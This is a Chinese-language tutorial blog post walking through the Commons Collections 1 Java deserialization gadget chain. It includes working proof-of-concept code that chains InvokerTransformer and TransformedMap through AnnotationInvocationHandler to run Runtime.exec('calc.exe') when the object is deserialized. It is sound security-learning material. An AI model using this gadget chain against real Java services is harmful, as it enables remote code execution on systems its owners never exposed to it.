commons-collection -1反序列化利用链

前言

看了p神的文章之后,发现了自己的错误

刚入门就学cc1链确实很容易被带偏,导致自己的学习进度被搁置

但既然看了这么久了,还是硬着头皮看一看

Java和PHP的POP链的构造差异

首先,不管怎么样,要抱着自己也能写出来的态度,去学习

PHP

php中,构造一个反序列化的pop利用链

个人感觉最最重要的是一个关键节点,比如

  • call_user_func($this->a,$args)
  • ($this->a)()
  • $fun($key)

有了这些之后下面的过程更类似于一个从入口点到关节节点的过程

你可以直接从入口点分析,个人比较喜欢,双向,从入口向下分析,从关键节点向上分析

能做到这一点的原因,无碍乎一点,php的框架,比如ThinkPHPLaravel等比较多的框架,其实入口点就那么几个,很容易的就能看完一遍

Java

其实也看了不少,关于javacc1链分析的文章,确实,大家都是一个模子里面刻出来的

p神的文章倒是耳目一新

这些文章里面,分析逻辑,基本上是确定了最后的InvokerTransformer类的transform方法,可以通过反射调用,触发RCE,然后一步步逆推到AnnotationInvocationHandler类的readObject方法中

问什么选择逆推呢,需要什么找什么,可能还是主要源自于代码量,即差异吧

PHP和Java反序列化差异

至于具体的php反序列化和java反序列化的差异,p神的java安全漫谈第七篇中有提到

总结一下

  • php的序列化是开发者不能参与的,调用serialize函数后,序列化完成
  • php的资源类型由于不能序列化,所以一般__wakeup方法是恢复一个资源
  • php的反序列化漏洞多数在析构方法__destruct中触发
  • java的序列化操作是开发者可以参与的
  • java可重写readObject方法,在执行完默认的反序列化操作后,处理开发展参与的部分

CC1链的分析

反射Payload分析

首先确定,最后通过反射调用执行命令的地方

invokeTransformer类中,存在一个Transform方法

在这里插入图片描述

PHP类似,this调用的成员变量都是可控的

这段代码可以通过反射调用执行命令,具体怎么实现可看上篇CC1反射调用的构造

1
2
3
4
5
6
7
8
9
Class cls = Runtime.class.getClass();
Method method = cls.getMethod("getMethod", String.class, Class[].class);
Object a = method.invoke(Runtime.class,"getRuntime",new Class[0]);
Class a1 = a.getClass();
Method method1 = a1.getMethod("invoke", Object.class, Object[].class);
Object b = method1.invoke(a,null,new Object[0]);
Class b1 = b.getClass();
Method method2 =b1.getMethod("exec",String.class);
Object c = method2.invoke(b,"calc");

为什么不采用如下方式

不直接使用Runtime.getRuntime()

在这里插入图片描述

因为Runtime类无法被序列化,而Class类可以被序列化

至于这个payload中的调用的方法中的参数是怎么回事呢?

以下面代码举例,以下为个人方便理解的说法

1
Method method = cls.getMethod("getMethod", String.class, Class[].class);
  • 第一个参数毫无争议,要获取的方法的名字getMethod

  • 第二个参数,String.class,相当于getMethod方法的第一个参数的类型

  • 第三个参数,Class[].class,这相当于一个可变长度的参数

    • phpjava中都可用...表示
  • 可以看到这里cls.getMethod,可以和上面的解释一一对应

在这里插入图片描述

继续看下面的地方的new Class[0]是怎么回事呢

在这里插入图片描述

根据上一篇的分析

这里相当于

Runtime.class.getMethod('getRuntime',new Class[0])

这样一看就懂了,因为getmethod方法需要两个参数,第二个是个可变参数

为什么不能传个其他的类呢?

因为反射的getRuntime方法不需要参数,所以传入一个new Classp[0],在调用getRuntime方法的时候相当于无传参

在这里插入图片描述

而下面的invoke也是一样的道理

在这里插入图片描述

利用链分析

现在我们已经知道怎么通过反射区触发RCE,但是可以看到的是,触发点需要被循环三次调用

我们需要一个调用任意transform方法的地方,且传入的参数完全可控

  • eq: this.a.transform(object)
  • 且正好在一个for循环中,或者其他循环

这个时候很对文章都在提各种概念

直接说就好了,存在这么一个类,有一个方法实现了我们上面的两个条件

ChainedTransformer

ChainedTransformer类也是实现了transform接口的一个类,它的作用就是将定义的数组中的多个类的transform串在一起

前一个类的transform返回值,作为下一次调用的参数

就是迭代调用,这个时候不禁想起来ThinkPHPRequest的迭代调用call_user_func的地方,其实大概就是那么个意思

在这里插入图片描述

而这个参数怎么控制呢

在类得构造方法中

在这里插入图片描述

注:这个时候感觉就来了,在php中,给参数赋值,是我们重新写一个类,这里面的参数自然就是可控的,也无需去管,原框架中构造方法的传参或者继承关系,在反序列化的时候,自会还原一个完整的对象

但是在Java中就是直接区调用底层的类的构造方法,构造方法中的类型,比如这里要传数组型得实现了transform接口的参数,传入其他的是会报错异常的

TransfomedMap

接下来依然需要找到一个调用任意transform方法的方法

其实在TransformedMap类中有三个这样的方法

  • transformKey方法

  • transformValue方法

  • checkSetValue方法

很多文章刚开始的payload,通过put触发的RCE就是通过transformValue触发的

但其实,和最后完整的payload,并没有什么关系

只是恰巧,transformValuecheckSetValue两个方法都是调用的this.valueTransformer区调用的任意transform方法

单纯从最开始的测试demo其实transformKeytransformValue都可以

单纯的链的话,下面的测试demo可以跳过

Demo1

这里可能会很多人看到没有用ConstantTransformer类,这个下面再说,这个样子写才符合我分析一次POP的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),

new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})
};


Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("value", Runtime.class);
}
}

这里可以看到是调用TransformedMapdecorate方法区实例化了一个TransformedMap

在这里插入图片描述

可以看到我们赋值的是valueTransformer参数

在put操作时,看看触发了什么

在这里插入图片描述

可以看到先调用,transformKey在调用transformValue,而此处的value的值就是我们传入的Runtime.class

跟进transformValue方法就知道,调用transformerChaintransform方法,完成一次代码执行

在这里插入图片描述

执行效果,

在这里插入图片描述

其实也完全可以通过transfromKey方法来触发

Demo2

传参位置变一下即可

在这里插入图片描述

这些方法在最后的payload中其实时用不到的

用到的是checkSetValue方法

回归正题

看一下此方法

在这里插入图片描述

继续查找调用

发现在其父类AbstractInputCheckedMapDecorator中存在调用

AbstractInputCheckedMapDecorator

存在一处调用

在这里插入图片描述

文件中有多个设置parent的地方

但最初就是通过entrySet方法设置的

在这里插入图片描述

正好TransformedMap类继承自这个类,且没有entrySet方法,会自动触发父类的同名方法,且this的值为子类TransformedMap

由于我们需要的是,在readObject的时候直接触发,所以还得继续找

现在需要一个调用任意setValue的方法

且被调用的类中的this.parent可控

接下来就是最后的入口点

AnnotationInvocationHandler

这个类存在序列化接口,是可以被序列化的

在这里插入图片描述

且在他的readObject方法中存在调用serValue的操作

在这里插入图片描述

我们接下来看看这个var5到底是个什么东西

首先看看this.memberValue是个什么

在这个类得构造方法中,可以发现这是个可控的继承自Map的子类

在这里插入图片描述

所以我们可以设置,this.memberValue的值为TransformedMap

首先会调用entrySet方法,这就和我们上一部分联系了起来,设置了parent的属性

在这里插入图片描述

在继续调用,iterator,重新实例化了这个类,但是parent属性并未修改

在这里插入图片描述

这个是后获取到了var4AbstractInputCheckedMapDecorator实例,其parentTransformedMap

调用var4next方法

在这里插入图片描述

发现同样返回一个AbstractInputCheckedMapDecorator实例,且parent属性未变

在这里插入图片描述

这个时候,触发var5setValue方法,就进入到了,之前分析的过程中

但是还有一个问题,上面我们是直接put的参数,循环迭代之前,Object就是可控的

而这个的setValue的参数不是Runtime,我们无法控制

在这里插入图片描述

这个时候我们就需要,在正式迭代之前,找到这么一个transform方法,它会返回一个完全可控的值,而这个值就是Runtime.class

ConstantTransformer

这个类中存在一个transform方法,会返回一个类的成员,这个成员可以通过构造方法设置

在这里插入图片描述

所以payload现在可能会变成这个样子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class DeSerPoc {
public static void main(String args[]) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),

new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})
};

Transformer transformedChain = new ChainedTransformer(transformers);
Map<String,Object> beforeTransformerMap = new HashMap<String,Object>();
beforeTransformerMap.put("key","");
Map afterTransformerMap = TransformedMap.decorate(beforeTransformerMap, null, transformedChain);
Class<?> cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object user= constructor.newInstance(Target.class,afterTransformerMap);
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(user);
oos.close();
}
}

注解

但这个时候依然是无法,触发RCE的

因为可以看到,我们的调用是在var7不等于null的情况下

在这里插入图片描述

这两个参数,可以看一下

在这里插入图片描述

这是第一个参数需要继承自Annotation

在这里插入图片描述

具体注解的细节,目前不太懂,用p神的条件

  • sun.reflect.annotation.AnnotationInvocationHandler构造函数的第一个参数必须是 Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
  • TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素

所以下面的两个接口应该都可用Target.classRetention.class

在这里插入图片描述

这里的RetentionPolicy.RUNTIME就代表在运行时可被调用

这里的方法名为value

所以payload如下,修改上面put的键值为方法名即可

在这里插入图片描述

生成一个序列化的文件

反序列化测试

1
2
3
4
5
6
7
8
9
public class DeSerImp {
public static void main(String[] args) throws Exception{
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Object deSerObj = ois.readObject();
ois.close();
fis.close();
}
}

成果弹出计算器

在这里插入图片描述

end

下一篇还是听话的看一下简单的URLDNS